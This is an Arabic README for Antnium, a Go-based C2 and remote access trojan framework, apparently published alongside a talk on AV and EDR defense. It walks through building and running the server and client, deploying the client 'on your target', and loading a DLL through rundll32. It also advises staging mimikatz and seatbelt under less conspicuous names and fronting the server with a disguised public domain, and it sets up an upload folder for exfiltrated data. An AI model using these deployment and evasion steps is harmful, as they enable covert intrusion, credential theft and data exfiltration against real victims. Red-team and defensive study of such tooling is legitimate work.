
إطار عمل C2 للوصول الأولي مكتوب بلغة Go
Anti Tanium
إطار عمل C2 وRAT مكتوب بلغة Go.
يُنشر هذا الكود المصدري علنًا كمرجع لعرضي التقديمي Develop your own RAT - AV & EDR Defense. صُمم Antnium ليلبي متطلباتي أنا شخصيًا، وليس متطلبات الآخرين. يعمل من أجل الحملات التي نفذتها، لكنه ليس بالضرورة مصممًا ليكون إطار عمل C2 عامًا.
يوجد مكوّنان:
قم بتنزيل وتثبيت go (و git).
نستخدم 127.0.0.1:8080 كمجال C2 هنا (localhost لأننا نبدأ كلاً من client.exe و server.exe
على نفس الجهاز). هذا هو الإعداد الافتراضي أيضًا، ولا حاجة لتغيير أي شيء.
افحص الحملة في campaign/campaign.go:
serverUrl = "http://127.0.0.1:8080"ابنِه على ويندوز:
> .\makewin.bat deploy
ابنِه على لينكس:
$ make deploy
شغّل الخادم والعميل:
cd build\
.\server.exe
.\static\client.exe
الوصول إلى WebUI بفتح الرابط التالي في المتصفح بعد تشغيل server.exe:
http://localhost:8080/webui/
static/: المجلد العام للأدواتضع الملفات التي تريد تنزيلها على الأجهزة الأخرى هنا. مثل client.exe و wingman.exe.
وأدواتك مثل mimikatz.exe أو seatbelt.exe. لكن استخدم أسماء ملفات أقل لفتًا للانتباه.
الملفات متاحة أيضًا عبر واجهة /secure API مع طلب بأسماء ملفات مشفّرة، واستجابة عبارة عن ملف مشفّر بترميز base64.
يمكن تنفيذ ملفات dotNet باستخدام خيار التنفيذ remote (يتم الوصول إليه عبر /secure).
upload/: المجلد الخاص لتصدير البياناتستُخزَّن هنا رفع الملفات القادمة من العميل.
تثبيت Go:
apt install golang gcc-mingw-w64ترجمة client.exe و server.exe:
> .\makewin.bat deploy
سيؤدي هذا إلى إنشاء:
شغّل server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
شغّل client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
ترجمة عميل ويندوز من لينكس تعمل، لكنها تتطلب
بعض الحيل اليدوية في سطر أوامر GO gcc، بسبب
بعض التبعيات الخاصة بويندوز. إذا لم تعمل مباشرة، قم بترجمة
عميل ويندوز على ويندوز نفسه (makewin.bat client).
pkg/campaign/campaign.go يربط client.exe مُجمَّعًا بـ server.exe محدد، مما يشكّل حملة.
تمتلك الحملة مفاتيح تشفير ومصادقة فردية، وهي مشتركة بين
الخادم والعميل.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
ومفتاح واجهة الإدارة / المشغِّل في pkt/server/config.go:
type Config struct {
AdminApiKey string
}
لاحظ أن ServerUrl هو الرابط الذي يستخدمه العميل لكل التفاعلات مع الخادم.
إنه رابط الخادم العام، مثل http://totallynotmalware.ch. قد يكون server.exe الفعلي
خلف بروكسي عكسي، ويُشغَّل بـ server.exe --listenaddr 127.0.0.1:8080 (لذا ServerUrl ليس بالضرورة مساويًا لـ listenaddr).
عند الاتصال بالخادم لأول مرة، تحتاج إلى الوصول إلى الواجهة وتكوينها أولًا.
ملفات واجهة Angular متاحة للعموم. لنفترض أن ServerUrl="http://localhost:8080" و listenaddr=0.0.0.0:8080. يمكنك إما:
http://localhost:8080/webui في متصفحكng serve من مجلد antniumui، ثم فتح http://localhost:4200 في متصفحكعند الاتصال بالواجهة في المتصفح، تحتاج أولًا إلى تكوين عنوان IP الخاص بالخادم وكلمة المرور الخاصة به:
مُختبَر على:
الترجمة على ويندوز:
> .\makewin.bat client
انشره على هدفك.
مُختبَر على:
على لينكس:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
النتيجة هي server.exe. تأكد من تشغيله في المجلد الذي يحتوي أو تتوقع فيه:
سيشغّل خادم REST على ذلك المنفذ، موفرًا:
/: REST للعملاء/ws: Websocket للعملاء/admin: REST لواجهة الإدارة (إضافة الحزم، جلب العملاء)/adminws: Websocket لواجهة الإدارة (دفع الحزم)/webui: ملفات HTML لواجهة الإدارة (كود Angular المصدر وhtml، ويصل إلى REST وwebsocket)ضع بروكسيًا عكسيًا أمامه (تأكد من أنه يدعم websockets!) أو قم بتمرير المنافذ.
للبروكسي اليدوي، استخدم رابط HTTP كاملًا:
client.exe -proxy http://proxy:8080
أو عبر متغيرات البيئة:
export PROXY http://localhost:8080
./client
Wingman هو ببساطة العميل، لكن دون اتصال مباشر بـ C2. يمكنه الاتصال بعميل موجود على localhost:50000 (تأكد من تشغيله، إذا كان Campaign.AutoStartDownstreams بقيمة false)
الاتصال بمنفذ localhost 50000:
wingman.exe
أو استخدم rundll32.exe لتحميل الـ dll (نسخة rundll32 64 بت في system32، وليس النسخة 32 بت في C:\Windows\SysWOW64\rundll32.exe):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
سيظهر كقناة فرعية net#0.
go test ./...
قد توجد حالات تسابق (race conditions). إذا فشل مرة واحدة، فقط أعد تنفيذه.